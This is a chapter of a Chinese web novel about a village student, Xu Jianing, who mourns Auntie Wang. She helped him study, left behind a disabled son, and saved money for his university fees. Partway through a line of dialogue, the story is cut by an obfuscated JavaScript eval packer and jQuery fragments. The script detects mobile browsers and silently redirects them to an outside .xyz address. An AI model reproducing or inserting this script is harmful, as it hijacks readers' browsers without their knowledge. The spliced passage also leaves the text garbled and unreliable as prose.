许家宁回到宿舍时，走廊昏黄的灯泡忽明忽暗，潮湿的空气里还裹着雨后的腥味。
他简单收拾了一下，把换下的湿背心搭到窗边的竹竿上，又去公共澡堂冲了个热水澡。等再出来时，墙上的钟已经快到七点。
许家宁看着墙上的钟，犹豫了一下，原本打算这个月留校，可想到陈天英托人写信让他这周一定要回家。
自己说了要回去，就不能食言。
于是他把几样东西塞进帆布包，临走时又拿了把伞。
雨停了，但走廊外的台阶满全是积水，他踩得小心，鞋底一点点带出湿滑的泥。
车站牌下，早已没了傍晚时的喧嚣，稀稀落落只剩几个人。候车的人大多穿着褪了色的蓝衣或旧布衫，脚边放着打了几个补丁的蛇皮袋和竹篮子，安静等候最后一班车的到来。
雨棚边的泥地被车轱辘碾过，坑洼里积着水，映着昏黄的灯光，闪着一层暗淡的光。
许家宁肩上背着那只旧帆布包。包角已经磨得发白，因被雨水打湿过，布料硬邦邦地贴在一起。
他静静站着，神色一如既往的冷淡，却因额前的碎发还带着未干的水汽，整个人看上去有些凌乱。
大巴的车灯在黑暗里一点点亮起，晃得候车的人眯起眼，发动机突突作响。
“上车上车！抓紧时间！”售票员探出头吆喝。
人群立刻一拥而上，脚下的泥水被踩得四溅，偏偏车门口狭窄，大家都推搡着往里挤，生怕错过最后一班回村的车，车门口乱作一团。售票员一边催促一边伸手去拽，把还在迟疑的乘客硬推上车。
许家宁在靠窗的位置坐下，伸手抹了抹蒙雾的玻璃，只能透过一道道水痕，看见外头模糊的黑夜景色。
耳边轰隆的发动机声里，他好像又听到了那句话——
“我要追上你，在分数上。”
那副认真倔强的模样，随着雨痕一点点浮现在车窗上。
许家宁指尖停在冰凉的玻璃上，眉梢轻动，忍不住抬手扶了下额，低声笑了。
笑意在唇角一闪而过，很快又隐进夜色里。
车子一路突突前行，驶出县城后，窗外的路灯越来越少，只剩下漆黑的乡道在车灯下被一点点照亮。
车厢里柴油味混着潮湿泥土气息，闷得慌。有人已经靠在座椅上打起了盹，鼾声与鸡鸭的扑腾声交织在一起。车驶过田野时，坑洼的土路颠簸不平，车厢里的人随着一阵阵晃动东倒西歪。
许家宁半阖着眼，神色看似平静，只有他知道：
那句话，还在耳边回荡不散。
——
大巴在黑夜里一路颠簸，终于在镇口停下。
乘客们三三两两下了车，拖着麻袋、提着竹篮，脚步声在湿漉漉的土路上渐渐散去。
许家宁背着帆布包，下车后撑开伞，沿着熟悉的乡道朝自家村子走去。雨后的路面泥泞，鞋底被溅得满是泥点，四周安静得只剩虫鸣和远处偶尔的犬吠。
等他推开院门时，屋子里漆黑一片。
“娘？”许家宁开口喊了一声。
没人回应。
正疑惑间，里屋传来窸窸窣窣的声响，一个人影拎着煤油灯走出来，是他的大哥许成涛。
“阿宁，你回来了啊。”
昏黄的灯光一晃，照出许成涛全是汗水的额头，他身上还带着一股劳作后的气味，袖口也沾了灰黑的痕迹，显然是刚从厂里赶回来不久。
许家宁放下伞，问：“娘呢？”
许成涛把煤油灯放到桌上，火苗摇曳，把昏暗的屋子照出一小片光亮。
“娘不在家。”他叹了口气，“王婶前阵子走了，人走得急，家里就剩下他一个。白天又淋了雨发烧，没人照应，娘实在放心不下，就过去守着了。”
许成涛口中的傻子，是村里远近皆知的可怜人。
他今年已经四十多岁了，正是身强力壮的时候，但因为小时候一场高烧没能及时治，烧坏了脑子，从此反应迟钝，做不得细致活。大半辈子都靠着王婶拉扯，日子过得贫苦。
村里人提起他时，总是摇头叹气，要是当年能及时发现，送去县医院看一看，说不定人也不会傻。
傻子他力气倒是不小，可活计做不细，往往帮着收个麦子、挑个水，转眼又忘了轻重，常把东西弄洒了，惹得别人半气半笑。久而久之，村里人只肯让他在边上打打杂，给口饭吃算是照应。
幸而王婶心地厚道，是个热心肠，谁家红白喜事都少不了她的身影；谁家干农活缺人手，她总是第一个跑去搭把手，从不计较吃亏。
她生前常挂在嘴边的一句话就是：“等我哪天不在了，你们记得多帮衬我儿子多些。”
许家宁听到后，心里一时说不清是什么滋味。
他记得很清楚，自己好几次不想跟着下地干活，趁着大人没注意，偷偷拿着书跑到大树下看书。
偏偏那个时候，王婶经过。
他以为自己要挨骂了，毕竟家里正忙着干农活，自己却偷溜出来看书，要是被人嚷一嗓子传到田里去，少不了挨爹的一顿数落。
正慌得不知如何是好，她却什么责怪的话也没说，也没有揭发他，只是笑眯眯地看了他一眼，顺手从竹篮里掏出两颗鸡蛋塞到他掌心：“好好念，将来有出息。”
那时候，许家宁心里既感激又有几分愧疚。
毕竟，她的儿子，本该也是个读书的年纪。
可如今，她走了，只留下一个四十多岁的“孩子”，孤零零待在村里。
许家宁和傻子打过几次照面。人虽然傻，话也说不利索，可每次见到他手里拿着书，总会讪讪地笑一笑，笨拙地侧过身让路，还会憨声憨气地说上一句：“念书，好。”
对读书人的尊重，是他娘王婶一点点教出来的。
想到这里，心里五味杂陈。
许家宁沉默片刻，忽然开口：“我去找娘，打个下手。”
说完，他转身去拿伞，准备往外走。
许成涛忙喊住他：“诶，你去干嘛啊？那边有咱娘看着呢，你去了也插不上手。”
“再说了，王婶那屋，你也知道......”
后面的话许成涛没说出口。
那屋子年久失修，墙皮一片片往下掉，雨天屋顶常漏水，里头阴冷潮湿得很。如今人走了，剩下孤零零一个傻子守着，更显得破败凄凉。
屋子里只听见煤油灯“滋”的一声轻响，火苗忽明忽暗，把兄弟俩的影子映在墙上，长长短短。
“哥。”
“我想去送送王婶。”许家宁的声音有些发涩。
许成涛愣了一下，刚想说吊唁早就结束了，但看向弟弟时，只见他垂着眼，不知道在想些什么。
吊唁的那几天他也去了。
许成涛印象最深的，是傻子呆呆地站在灵前，他的四周都是哭得撕心裂肺的人。堂屋里点着几根白蜡，烛火摇摇晃晃，照得灵堂里一片惨白。
王婶的棺木放在中间，哭丧的妇人拍着大腿嚎啕，几个年纪大的老人捂着眼，不停地叹息。地上的纸钱烧得正旺，呛人的烟雾升上屋梁，与外头吹进来的阴雨气混在一处。
可在这一片哭声中，傻子只是直愣愣站着，眼神空空。他看着棺木，忽然就憨声憨气问了一句：“我娘呢？我娘怎么还不回来？”
说完，他还傻乎乎地笑了，仿佛待会儿娘就能从厨房出来，拍着他肩膀，喊他去端碗盛饭。
四周的哭声一下子更大了，几个妇人忍不住抹泪：“唉，这么大个人了，还不知道‘娘走了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217901|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
’是什么意思。”
这一幕，比哭声更让人揪心。
许成涛回过神来时，许家宁已经出门了。
天不知什么时候又阴了下来，昏暗的乡路被大雨遮得模糊不清，偶尔有闪电划过，照亮一瞬间的田埂与低矮的房舍，又很快被黑暗吞没。
许家宁攥紧伞柄，手背青筋隐隐鼓起，泥水溅到裤脚，他全然不顾，只一心往前走。
“好好念，将来有出息。”
“如果我儿子也能和你一样就好了。”
“你放假时能教教我家傻子识字吗？我不识字，没法教他。”
一句句日常叮嘱，如今变成遗言。
很快，他走到了王婶的院口，隐约能听见陈天英在安抚他：“乖啊，别乱动，先把药喝了。”
紧接着，是傻子迟钝的回答：“我娘呢？我娘......咋还不回来？”
“你娘她...她是去远地方了。她让我照看你。”
傻子当真了，把碗里的药一口气喝完，过了好一会儿，才憨声憨气地又问：“那她明天回来吗？”
陈天英没忍住，低头抹了把眼泪，声线颤抖：“我不知道。”
傻子不大会说话，问完便困倦地缩在床头，没多久就沉沉睡去，陈天英把被角给他掖好后走出屋，又在床边站了一会儿，这才提着煤油灯往外走。
等她走出屋门时，看到自己的儿子正撑着伞，静静站在屋檐下等她。
“来了？”陈天英没有意外他会来。
许家宁“嗯”了一声，眼底暗暗翻涌着情绪。母子俩在雨声中对视，谁也没有急着再说话。
陈天英忽然从怀里掏出一个皱巴巴的布包，递到许家宁手里。
许家宁一怔，伸手接过。布包沉甸甸的，打开来，是一些皱得发黄的钱票，甚至还有几张早已褪色的粮票，显然是王婶平日里一点点攒下的。
“这是她托我给你的。”
“她说，这笔钱是留给你上大学的，她知道上大学需要很多钱。”
陈天英哽咽着说：“她还说，特别感激你，你是村里唯一一个愿意教她娃识字的人。她一辈子不识字，心里最愧疚的就是这个事。”
“家宁。”她忽然叫住他。
“我多了个儿子，你多了个哥哥。”
许家宁攥紧手里的布包，低着头，肩膀剧烈发抖，一句话都说不出来。
他忽然跪下来，在屋门口重重地磕了一个头。
“咚”的一声，额头触到地面，雨水顺着屋檐滴落，和他脸上的泪水混在一起。
这一磕，带着他心底所有的感激与愧疚，也带着一个少年对逝者最笨拙却最郑重的承诺。
他额头抵着冰冷的地面，久久没有抬起。
陈天英撑着伞，默默站在他身旁，为他遮雨。
伞外，是淅淅沥沥的雨声；
伞内，是断断续续的哭声。
那一刻，周围仿佛都静了，只剩下他与逝者之间未尽的言语。
从王婶家回来后，许家宁在床上静静地坐了很久。
夜深了，许成涛已经睡熟了，鼾声一阵阵地从头顶传来，床板也随着他每一次翻身微微震动，木头发出“吱呀”声，在寂静的黑夜里显得格外清晰。
屋里只点着一盏煤油灯，光线不多，他的影子被拉得很长，映在墙上。
影子没有声音，只有那个醒着的人知道自己在想着什么。
他过去一直以为，读书是他一个人的事，是从田地里走出去的唯一退路，是逃开命运的绳索。
可现在，他忽然意识到，不是的。
他们把希望放在他身上，不是因为他比别人聪明多少，只是因为他还在路上。
有些人已经走不动了，有些人从未走过。